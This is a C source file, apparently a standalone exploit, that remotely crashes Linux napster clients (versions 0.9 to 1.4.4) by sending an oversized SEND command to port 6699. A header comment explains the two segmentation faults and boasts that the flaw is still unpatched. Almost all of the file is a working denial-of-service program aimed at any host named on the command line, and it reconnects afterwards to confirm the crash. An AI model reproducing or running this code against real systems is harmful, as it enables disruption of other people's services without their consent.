/* (linux)napster[v0.9-/v1.4.4] remote crash/DoS, by v9[v9@fakehalo.org]. 

   v0.9:
    i re-wrote this after v1.4.3's release, when i remodded this to work on both
    versions.

   v1.4.3:
    this causes a segmentation fault.  the fault can be achieved via one of two
    ways.  the 1st fault is achieved when sending >1024 parameters to either the
    SEND or GET function.  the 2nd is in the SEND function, by sending 5554+
    bytes in this form: SEND <parm1/anything> <5554+ bytes>.  in the 2nd
    function esi/edx is overwrote: 5558(+4 pointer bytes with offset of +281)
    with a total of 5562 bytes. (just informing, but this uses the first fault
    to crash linux napster)

   v1.4.4:
    i thought i notified the maintainer, but it's still vulnerable. :)

   note:
    bugs like this only have use if you're going to be a prick to someone.
*/
#define TIMEOUT 6
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
void timeout(){printf("connection timed out. (%d)\n",TIMEOUT);exit(-1);}
int main(int argc,char **argv){
 char crash[2054];
 int i,r,sock;
 long ret;
 struct hostent *h;
 struct sockaddr_in s;
 printf("(linux)napster[v0.9-/v1.4.4] remote crash/DoS, by: v9[v9@fakehalo.org].\n");
 if(argc<2){printf("[!] syntax: %s <target>.\n",argv[0]);exit(-1);}
 if(s.sin_addr.s_addr=inet_addr(argv[1])){
  if(!(h=gethostbyname(argv[1]))){
   printf("[!] error: could not resolve. (%s)\n",argv[1]);
   exit(-1);
  }
  memcpy((char*)&s.sin_addr,(char*)h->h_addr,sizeof(s.sin_addr));
 }
 s.sin_family=AF_INET;
 s.sin_port=htons(6699);
 printf("[*] connecting to %s:6699.\n",argv[1]);
 signal(SIGALRM,timeout);
 alarm(TIMEOUT);
 sock=socket(AF_INET,SOCK_STREAM,0);
 if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
  printf("[!] error: connection failed.\n");
  exit(-1);
 }
 alarm(0);
 memcpy(crash,"SEND",4);
 for(i=4;i<2054;i+=2){*(long *)&crash[i]=0x2001;}
 crash[i]='\0';
 printf("[*] connected, sending crash. (length=%d)\n",strlen(crash));
 write(sock,crash,strlen(crash));
 close(sock);
 alarm(TIMEOUT);
 sock=socket(AF_INET,SOCK_STREAM,0);
 if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("[*] result: success. (no response)\n");}
 else{printf("[!] result: failed. (responded)\n");}
 alarm(0);
 exit(0);
}